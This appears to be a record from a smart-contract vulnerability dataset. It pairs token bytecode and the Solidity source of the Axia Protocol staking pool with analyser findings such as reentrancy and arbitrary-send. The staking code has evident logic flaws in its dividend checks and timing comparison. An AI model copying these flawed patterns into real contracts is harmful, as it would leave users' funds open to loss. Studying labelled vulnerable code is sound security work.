6000546001600160a01b039081169116146108a5576040805162461bcd60e51b81526020600482018190526024820152600080516020611fa6833981519152604482015290519081900360640190fd5b60005b81518110156108fd576001600760008484815181106108c357fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016108a8565b5050565b6010546001600160a01b0316610915610e62565b6001600160a01b03161461092857600080fd5b6000610933306106ff565b90506106fc81611459565b610946610e62565b6000546001600160a01b03908116911614610996576040805162461bcd60e51b81526020600482018190526024820152600080516020611fa6833981519152604482015290519081900360640190fd5b601254600160a01b900460ff16156109f5576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a3e9030906001600160a01b0316683635c9adc5dea00000610e66565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a7757600080fd5b505afa158015610a8b573d6000803e3d6000fd5b505050506040513d6020811015610aa157600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610af157600080fd5b505afa158015610b05573d6000803e3d6000fd5b505050506040513d6020811015610b1b57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b6d57600080fd5b505af1158015610b81573d6000803e3d6000fd5b505050506040513d6020811015610b9757600080fd5b5051601280546001600160a01b0319166001600160a01b039283161790556011541663f305d7194730610bc9816106ff565b600080610bd461080b565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c3f57600080fd5b505af1158015610c53573d6000803e3d6000fd5b50505050506040513d6060811015610c6a57600080fd5b505060128054678ac7230489e8000060135560ff60a01b1960ff60b81b1960ff60b01b19909216600160b01b1791909116600160b81b1716600160a01b17908190556011546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610d0357600080fd5b505af1158015610d17573d6000803e3d6000fd5b505050506040513d6020811015610d2d57600080fd5b505050565b610d3a610e62565b6000546001600160a01b03908116911614610d8a576040805162461bcd60e51b81526020600482018190526024820152600080516020611fa6833981519152604482015290519081900360640190fd5b60008111610ddf576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610dfd6064610df7683635c9adc5dea0000084611627565b90611680565b601381905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610eab5760405162461bcd60e51b81526004018080602001828103825260248152602001806120146024913960400191505060405180910390fd5b6001600160a01b038216610ef05760405162461bcd60e51b8152600401808060200182810382526022815260200180611f3b6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f975760405162461bcd60e51b8152600401808060200182810382526025815260200180611fef6025913960400191505060405180910390fd5b6001600160a01b038216610fdc5760405162461bcd60e51b8152600401808060200182810382526023815260200180611eee6023913960400191505060405180910390fd5b6000811161101b5760405162461bcd60e51b8152600401808060200182810382526029815260200180611fc66029913960400191505060405180910390fd5b61102361080b565b6001600160a01b0316836001600160a01b03161415801561105d575061104761080b565b6001600160a01b0316826001600160a01b031614155b156112cb57601254600160b81b900460ff1615611157576001600160a01b038316301480159061109657506001600160a01b0382163014155b80156110b057506011546001600160a01b03848116911614155b80156110ca57506011546001600160a01b03838116911614155b15611157576011546001600160a01b03166110e3610e62565b6001600160a01b0316148061111257506012546001600160a01b0316611107610e62565b6001600160a01b0316145b611157576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60135481111561116657600080fd5b6001600160a01b03831660009081526007602052604090205460ff161580156111a857506001600160a01b03821660009081526007602052604090205460ff16155b6111b157600080fd5b6012546001600160a01b0384811691161480156111dc57506011546001600160a01b03838116911614155b801561120157506001600160a01b03821660009081526005602052604090205460ff16155b80156112165750601254600160b81b900460ff165b1561125e576001600160a01b038216600090815260086020526040902054421161123f57600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b6000611269306106ff565b601254909150600160a81b900460ff1615801561129457506012546001600160a01b03858116911614155b80156112a95750601254600160b01b900460ff165b156112c9576112b781611459565b4780156112c7576112c7476113bf565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061130d57506001600160a01b03831660009081526005602052604090205460ff165b15611316575060005b611322848484846116c2565b50505050565b600081848411156113b75760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561137c578181015183820152602001611364565b50505050905090810190601f1680156113a95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108fd573d6000803e3d6000fd5b6000600a5482111561143c5760405162461bcd60e51b815260040180806020018281038252602a815260200180611f11602a913960400191505060405180910390fd5b60006114466117de565b90506114528382611680565b9392505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060808301845292602083019080368337019050509050308160008151811061149a57fe5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114ee57600080fd5b505afa158015611502573d6000803e3d6000fd5b505050506040513d602081101561151857600080fd5b505181518290600190811061152957fe5b6001600160a01b03928316602091820292909201015260115461154f9130911684610e66565b60115460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156115d55781810151838201526020016115bd565b505050509050019650505050505050600060405180830381600087803b1580156115fe57600080fd5b505af1158015611612573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b6000826116365750600061053d565b8282028284828161164357fe5b04146114525760405162461bcd60e51b8152600401808060200182810382526021815260200180611f5d6021913960400191505060405180910390fd5b600061145283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611801565b806116cf576116cf611866565b6001600160a01b03841660009081526006602052604090205460ff16801561171057506001600160a01b03831660009081526006602052604090205460ff16155b1561172557611720848484611898565b6117d1565b6001600160a01b03841660009081526006602052604090205460ff1615801561176657506001600160a01b03831660009081526006602052604090205460ff165b15611776576117208484846119bc565b6001600160a01b03841660009081526006602052604090205460ff1680156117b657506001600160a01b03831660009081526006602052604090205460ff165b156117c657611720848484611a65565b6117d1848484611ad8565b8061132257611322611b1c565b60008060006117eb611b2a565b90925090506117fa8282611680565b9250505090565b600081836118505760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561137c578181015183820152602001611364565b50600083858161185c57fe5b0495945050505050565b600c541580156118765750600d54155b1561188057611896565b600c8054600e55600d8054600f55600091829055555b565b6000806000806000806118aa87611ca9565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506118dc9088611d06565b6001600160a01b038a1660009081526003602090815260408083209390935560029052205461190b9087611d06565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461193a9086611d48565b6001600160a01b03891660009081526002602052604090205561195c81611da2565b6119668483611e2a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806119ce87611ca9565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a009087611d06565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a369084611d48565b6001600160a01b03891660009081526003602090815260408083209390935560029052205461193a9086611d48565b600080600080600080611a7787611ca9565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611aa99088611d06565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a009087611d06565b600080600080600080611aea87611ca9565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061190b9087611d06565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611c6957826002600060098481548110611b5a57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611bbf5750816003600060098481548110611b9857fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611bdd57600a54683635c9adc5dea0000094509450505050611ca5565b611c1d6002600060098481548110611bf157fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d06565b9250611c5f6003600060098481548110611c3357fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d06565b9150600101611b3e565b50600a54611c8090683635c9adc5dea00000611680565b821015611c9f57600a54683635c9adc5dea00000935093505050611ca5565b90925090505b9091565b6000806000806000806000806000611cc68a600c54600d54611e4e565b9250925092506000611cd66117de565b90506000806000611ce98e878787611e9d565b919e509c509a509598509396509194505050505091939550919395565b600061145283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611328565b600082820183811015611452576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611dac6117de565b90506000611dba8383611627565b30600090815260026020526040902054909150611dd79082611d48565b3060009081526002602090815260408083209390935560069052205460ff1615610d2d5730600090815260036020526040902054611e159084611d48565b30600090815260036020526040902055505050565b600a54611e379083611d06565b600a55600b54611e479082611d48565b600b555050565b6000808080611e626064610df78989611627565b90506000611e756064610df78a89611627565b90506000611e8d82611e878b86611d06565b90611d06565b9992985090965090945050505050565b6000808080611eac8886611627565b90506000611eba8887611627565b90506000611ec88888611627565b90506000611eda82611e878686611d06565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220e9f23173a31b4282ee1d8e2905c40a679a421494320cc657f532b01206b7db1c64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,113 |
0x380e9c346d62504d6a83c9ece88d3920eba054d8
|
/*
* @dev This is the Axia Protocol Staking pool 4 contract (AXIA LONE Pool), a part of the protocol where stakers are rewarded in AXIA tokens
* when they make stakes of Axia tokens.
* stakers reward come from the daily emission from the total supply into circulation,
* this happens daily and upon the reach of a new epoch each made of 180 days,
* halvings are experienced on the emitting amount of tokens.
* on the 11th epoch all the tokens would have been completed emitted into circulation,
* from here on, the stakers will still be earning from daily emissions
* which would now be coming from the accumulated basis points over the epochs.
* upon unstaking, stakers are charged a fee of 1% of their unstaking sum which is
* burnt forever, thereby reducing the total supply. this gives the Axia token its deflationary feature.
*/
pragma solidity 0.6.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function supplyeffect(uint _amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ASP{
using SafeMath for uint256;
//======================================EVENTS=========================================//
event StakeEvent(address indexed staker, address indexed pool, uint amount);
event UnstakeEvent(address indexed unstaker, address indexed pool, uint amount);
event RewardEvent(address indexed staker, address indexed pool, uint amount);
event RewardStake(address indexed staker, address indexed pool, uint amount);
//event BurnEvent(address indexed pool, address indexed burnaddress, uint amount);
//======================================STAKING POOL=========================================//
address public Axiatoken;
address public administrator;
bool public stakingEnabled;
uint256 constant private FLOAT_SCALAR = 2**64;
uint256 public MINIMUM_STAKE = 1000000000000000000; // 1000 AXIA Tokens
uint256 public MIN_DIVIDENDS_DUR = 86400;
uint256 private UNSTAKE_FEE = 1; //1% burns when you unstake
uint public infocheck;
uint _burnedAmount;
uint actualValue;
struct User {
uint256 balance;
uint256 frozen;
int256 scaledPayout;
uint256 staketime;
}
struct Info {
uint256 totalSupply;
uint256 totalFrozen;
mapping(address => User) users;
uint256 scaledPayoutPerToken; //pool balance
address admin;
}
Info private info;
constructor() public {
info.admin = msg.sender;
stakingEnabled = false;
}
//======================================ADMINSTRATION=========================================//
modifier onlyCreator() {
require(msg.sender == info.admin, "Ownable: caller is not the administrator");
_;
}
modifier onlyAxiaToken() {
require(msg.sender == Axiatoken, "Authorization: only token contract can call");
_;
}
function tokenconfigs(address _axiatoken) public onlyCreator returns (bool success) {
Axiatoken = _axiatoken;
return true;
}
function _minStakeAmount(uint256 _number) onlyCreator public {
MINIMUM_STAKE = _number*1000000000000000000;
}
function stakaingStatus(bool _status) public onlyCreator {
stakingEnabled = _status;
}
function unstakeburnrate(uint _rate) public onlyCreator returns (bool success) {
UNSTAKE_FEE = _rate;
return true;
}
function MIN_DIVIDENDS_DUR_TIME(uint256 _minDuration) public onlyCreator {
MIN_DIVIDENDS_DUR = _minDuration;
}
//======================================USER WRITE=========================================//
function StakeAxiaTokens(uint256 _tokens) external {
_stake(_tokens);
}
function UnstakeAxiaTokens(uint256 _tokens) external {
_unstake(_tokens);
}
//======================================USER READ=========================================//
function totalFrozen() public view returns (uint256) {
return info.totalFrozen;
}
function frozenOf(address _user) public view returns (uint256) {
return info.users[_user].frozen;
}
function dividendsOf(address _user) public view returns (uint256) {
if(info.users[_user].staketime < MIN_DIVIDENDS_DUR){
return 0;
}else{
return uint256(int256(info.scaledPayoutPerToken * info.users[_user].frozen) - info.users[_user].scaledPayout) / FLOAT_SCALAR;
}
}
function userData(address _user) public view
returns (uint256 totalTokensFrozen, uint256 userFrozen,
uint256 userDividends, uint256 userStaketime, int256 scaledPayout) {
return (totalFrozen(), frozenOf(_user), dividendsOf(_user), info.users[_user].staketime, info.users[_user].scaledPayout);
}
//======================================ACTION CALLS=========================================//
function _stake(uint256 _amount) internal {
require(stakingEnabled, "Staking not yet initialized");
require(IERC20(Axiatoken).balanceOf(msg.sender) >= _amount, "Insufficient Axia token balance");
require(frozenOf(msg.sender) + _amount >= MINIMUM_STAKE, "Your amount is lower than the minimum amount allowed to stake");
require(IERC20(Axiatoken).allowance(msg.sender, address(this)) >= _amount, "Not enough allowance given to contract yet to spend by user");
info.users[msg.sender].staketime = now;
info.totalFrozen += _amount;
info.users[msg.sender].frozen += _amount;
info.users[msg.sender].scaledPayout += int256(_amount * info.scaledPayoutPerToken);
IERC20(Axiatoken).transferFrom(msg.sender, address(this), _amount); // Transfer liquidity tokens from the sender to this contract
emit StakeEvent(msg.sender, address(this), _amount);
}
function _unstake(uint256 _amount) internal {
require(frozenOf(msg.sender) >= _amount, "You currently do not have up to that amount staked");
info.totalFrozen -= _amount;
info.users[msg.sender].frozen -= _amount;
info.users[msg.sender].scaledPayout -= int256(_amount * info.scaledPayoutPerToken);
uint256 interval = now - info.users[msg.sender].staketime;
if(interval < MIN_DIVIDENDS_DUR){
_burnedAmount = mulDiv(_amount, UNSTAKE_FEE, 100);
actualValue = _amount.sub(_burnedAmount);
require(IERC20(Axiatoken).transfer(msg.sender, actualValue), "Transaction failed");
emit UnstakeEvent(address(this), msg.sender, actualValue);
require(IERC20(Axiatoken).transfer(address(0x0), _burnedAmount), "Transaction failed");
IERC20(Axiatoken).supplyeffect(_burnedAmount);
//emit BurnEvent(address(this), address(0x0), _amount);
}else{
require(IERC20(Axiatoken).transfer(msg.sender, _amount), "Transaction failed");
emit UnstakeEvent(address(this), msg.sender, _amount);
}
}
function TakeDividends() external returns (uint256) {
uint256 _dividends = dividendsOf(msg.sender);
require(_dividends >= 0, "you do not have any dividend yet");
info.users[msg.sender].scaledPayout += int256(_dividends * FLOAT_SCALAR);
require(IERC20(Axiatoken).transfer(msg.sender, _dividends), "Transaction Failed"); // Transfer dividends to msg.sender
emit RewardEvent(msg.sender, address(this), _dividends);
return _dividends;
}
function StakeDividends() external returns (uint256) {
uint256 _dividends = dividendsOf(msg.sender);
require(_dividends >= 0, "you do not have any dividend yet");
info.users[msg.sender].scaledPayout += int256(_dividends * FLOAT_SCALAR);
require(IERC20(Axiatoken).transfer(msg.sender, _dividends), "Transaction Failed"); // Transfer dividends to msg.sender
_stake(_dividends);
emit RewardStake(msg.sender, address(this), _dividends);
return _dividends;
}
function scaledToken(uint _amount) external onlyAxiaToken returns(bool){
info.scaledPayoutPerToken += _amount * FLOAT_SCALAR / info.totalFrozen;
infocheck = info.scaledPayoutPerToken;
return true;
}
function mulDiv (uint x, uint y, uint z) public pure returns (uint) {
(uint l, uint h) = fullMul (x, y);
assert (h < z);
uint mm = mulmod (x, y, z);
if (mm > l) h -= 1;
l -= mm;
uint pow2 = z & -z;
z /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint r = 1;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
return l * r;
}
function fullMul (uint x, uint y) private pure returns (uint l, uint h) {
uint mm = mulmod (x, y, uint (-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
}
|
0x608060405234801561001057600080fd5b50600436106101365760003560e01c80636387c949116100b8578063aa9a09121161007c578063aa9a0912146102d1578063b333de24146102fa578063b821b6bf14610302578063c89109131461030a578063e0287b3e1461035b578063f53d0a8e1461037857610136565b80636387c9491461024e57806369c18e12146102725780636b6b6aa41461027a5780637640cb9e14610297578063a43fc871146102b457610136565b80631cfff51b116100ff5780631cfff51b146101fa5780631e7f87bc1461020257806321dee1271461020a5780632bdcd69114610227578063586448ea1461024657610136565b806265318b1461013b57806305d872aa1461017357806308dbbb03146101ad5780631495bf9a146101b55780631bf6e00d146101d4575b600080fd5b6101616004803603602081101561015157600080fd5b50356001600160a01b0316610380565b60408051918252519081900360200190f35b6101996004803603602081101561018957600080fd5b50356001600160a01b03166103e6565b604080519115158252519081900360200190f35b610161610457565b6101d2600480360360208110156101cb57600080fd5b503561045d565b005b610161600480360360208110156101ea57600080fd5b50356001600160a01b0316610469565b610199610487565b610161610497565b6101996004803603602081101561022057600080fd5b503561049d565b6101d26004803603602081101561023d57600080fd5b503515156104f2565b610161610559565b61025661068c565b604080516001600160a01b039092168252519081900360200190f35b61016161069b565b6101d26004803603602081101561029057600080fd5b50356106a1565b610199600480360360208110156102ad57600080fd5b50356106aa565b6101d2600480360360208110156102ca57600080fd5b503561071f565b610161600480360360608110156102e757600080fd5b5080359060208101359060400135610777565b61016161082b565b610161610955565b6103306004803603602081101561032057600080fd5b50356001600160a01b031661095b565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b6101d26004803603602081101561037157600080fd5b50356109b2565b610256610a00565b600380546001600160a01b0383166000908152600a602052604081209092015410156103ae575060006103e1565b6001600160a01b0382166000908152600a602052604090206002810154600190910154600b54600160401b929102030490505b919050565b600c546000906001600160a01b031633146104325760405162461bcd60e51b81526004018080602001828103825260288152602001806113216028913960400191505060405180910390fd5b50600080546001600160a01b0383166001600160a01b03199091161790556001919050565b60025481565b61046681610a0f565b50565b6001600160a01b03166000908152600a602052604090206001015490565b600154600160a01b900460ff1681565b60095490565b600c546000906001600160a01b031633146104e95760405162461bcd60e51b81526004018080602001828103825260288152602001806113216028913960400191505060405180910390fd5b50600455600190565b600c546001600160a01b0316331461053b5760405162461bcd60e51b81526004018080602001828103825260288152602001806113216028913960400191505060405180910390fd5b60018054911515600160a01b0260ff60a01b19909216919091179055565b60008061056533610380565b336000818152600a602090815260408083206002018054600160401b87020190558254815163a9059cbb60e01b815260048101959095526024850186905290519495506001600160a01b03169363a9059cbb93604480820194918390030190829087803b1580156105d557600080fd5b505af11580156105e9573d6000803e3d6000fd5b505050506040513d60208110156105ff57600080fd5b5051610647576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8811985a5b195960721b604482015290519081900360640190fd5b61065081610a0f565b604080518281529051309133917feaf3a9c7efee1bdf36174a833c1d07b2922e166a5c836d31ab5e3d39c03b6b859181900360200190a3905090565b6000546001600160a01b031681565b60055481565b61046681610d31565b600080546001600160a01b031633146106f45760405162461bcd60e51b815260040180806020018281038252602b81526020018061127e602b913960400191505060405180910390fd5b600954600160401b83028161070557fe5b600b80549290910490910190819055600555506001919050565b600c546001600160a01b031633146107685760405162461bcd60e51b81526004018080602001828103825260288152602001806113216028913960400191505060405180910390fd5b670de0b6b3a764000002600255565b6000806000610786868661113e565b9150915083811061079357fe5b6000848061079d57fe5b8688099050828111156107b1576001820391505b9182900391600085900385168086816107c657fe5b0495508084816107d257fe5b0493508081600003816107e157fe5b046001019290920292909201600285810380870282030280870282030280870282030280870282030280870282030280870282030295860290039094029390930295945050505050565b60008061083733610380565b336000818152600a602090815260408083206002018054600160401b87020190558254815163a9059cbb60e01b815260048101959095526024850186905290519495506001600160a01b03169363a9059cbb93604480820194918390030190829087803b1580156108a757600080fd5b505af11580156108bb573d6000803e3d6000fd5b505050506040513d60208110156108d157600080fd5b5051610919576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8811985a5b195960721b604482015290519081900360640190fd5b604080518281529051309133917f8c998377165b6abd6e99f8b84a86ed2c92d0055aeef42626fedea45c2909f6eb9181900360200190a3905090565b60035481565b600080600080600061096b610497565b61097487610469565b61097d88610380565b6001600160a01b03989098166000908152600a6020526040902060038101546002909101549299919897509550909350915050565b600c546001600160a01b031633146109fb5760405162461bcd60e51b81526004018080602001828103825260288152602001806113216028913960400191505060405180910390fd5b600355565b6001546001600160a01b031681565b600154600160a01b900460ff16610a6d576040805162461bcd60e51b815260206004820152601b60248201527f5374616b696e67206e6f742079657420696e697469616c697a65640000000000604482015290519081900360640190fd5b600054604080516370a0823160e01b8152336004820152905183926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610ab757600080fd5b505afa158015610acb573d6000803e3d6000fd5b505050506040513d6020811015610ae157600080fd5b50511015610b36576040805162461bcd60e51b815260206004820152601f60248201527f496e73756666696369656e74204178696120746f6b656e2062616c616e636500604482015290519081900360640190fd5b60025481610b4333610469565b011015610b815760405162461bcd60e51b815260040180806020018281038252603d8152602001806112e4603d913960400191505060405180910390fd5b60005460408051636eb1769f60e11b8152336004820152306024820152905183926001600160a01b03169163dd62ed3e916044808301926020929190829003018186803b158015610bd157600080fd5b505afa158015610be5573d6000803e3d6000fd5b505050506040513d6020811015610bfb57600080fd5b50511015610c3a5760405162461bcd60e51b815260040180806020018281038252603b8152602001806112a9603b913960400191505060405180910390fd5b336000818152600a60209081526040808320426003820155600980548701905560018101805487019055600b54600290910180549187029091019055825481516323b872dd60e01b815260048101959095523060248601526044850186905290516001600160a01b03909116936323b872dd9360648083019493928390030190829087803b158015610ccb57600080fd5b505af1158015610cdf573d6000803e3d6000fd5b505050506040513d6020811015610cf557600080fd5b5050604080518281529051309133917f160ffcaa807f78c8b4983836e2396338d073e75695ac448aa0b5e4a75b210b1d9181900360200190a350565b80610d3b33610469565b1015610d785760405162461bcd60e51b815260040180806020018281038252603281526020018061124c6032913960400191505060405180910390fd5b600980548290039055336000908152600a602052604090206001810180548390039055600b546002820180549184029091039055600390810154905442919091039081101561103b57610dcf826004546064610777565b6006819055610de590839063ffffffff61116b16565b6007819055600080546040805163a9059cbb60e01b81523360048201526024810194909452516001600160a01b039091169263a9059cbb9260448083019360209390929083900390910190829087803b158015610e4157600080fd5b505af1158015610e55573d6000803e3d6000fd5b505050506040513d6020811015610e6b57600080fd5b5051610eb3576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8819985a5b195960721b604482015290519081900360640190fd5b6007546040805191825251339130917f15fba2c381f32b0e84d073dd1adb9edbcfd33a033ee48aaea415ac61ca7d448d9181900360200190a3600080546006546040805163a9059cbb60e01b8152600481018590526024810192909252516001600160a01b039092169263a9059cbb926044808401936020939083900390910190829087803b158015610f4557600080fd5b505af1158015610f59573d6000803e3d6000fd5b505050506040513d6020811015610f6f57600080fd5b5051610fb7576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8819985a5b195960721b604482015290519081900360640190fd5b60008054600654604080516326796dd560e01b81526004810192909252516001600160a01b03909216926326796dd5926024808401936020939083900390910190829087803b15801561100957600080fd5b505af115801561101d573d6000803e3d6000fd5b505050506040513d602081101561103357600080fd5b5061113a9050565b600080546040805163a9059cbb60e01b81523360048201526024810186905290516001600160a01b039092169263a9059cbb926044808401936020939083900390910190829087803b15801561109057600080fd5b505af11580156110a4573d6000803e3d6000fd5b505050506040513d60208110156110ba57600080fd5b5051611102576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8819985a5b195960721b604482015290519081900360640190fd5b604080518381529051339130917f15fba2c381f32b0e84d073dd1adb9edbcfd33a033ee48aaea415ac61ca7d448d9181900360200190a35b5050565b6000808060001984860990508385029250828103915082811015611163576001820391505b509250929050565b60006111ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b4565b9392505050565b600081848411156112435760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156112085781810151838201526020016111f0565b50505050905090810190601f1680156112355780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fe596f752063757272656e746c7920646f206e6f74206861766520757020746f207468617420616d6f756e74207374616b6564417574686f72697a6174696f6e3a206f6e6c7920746f6b656e20636f6e74726163742063616e2063616c6c4e6f7420656e6f75676820616c6c6f77616e636520676976656e20746f20636f6e74726163742079657420746f207370656e642062792075736572596f757220616d6f756e74206973206c6f776572207468616e20746865206d696e696d756d20616d6f756e7420616c6c6f77656420746f207374616b654f776e61626c653a2063616c6c6572206973206e6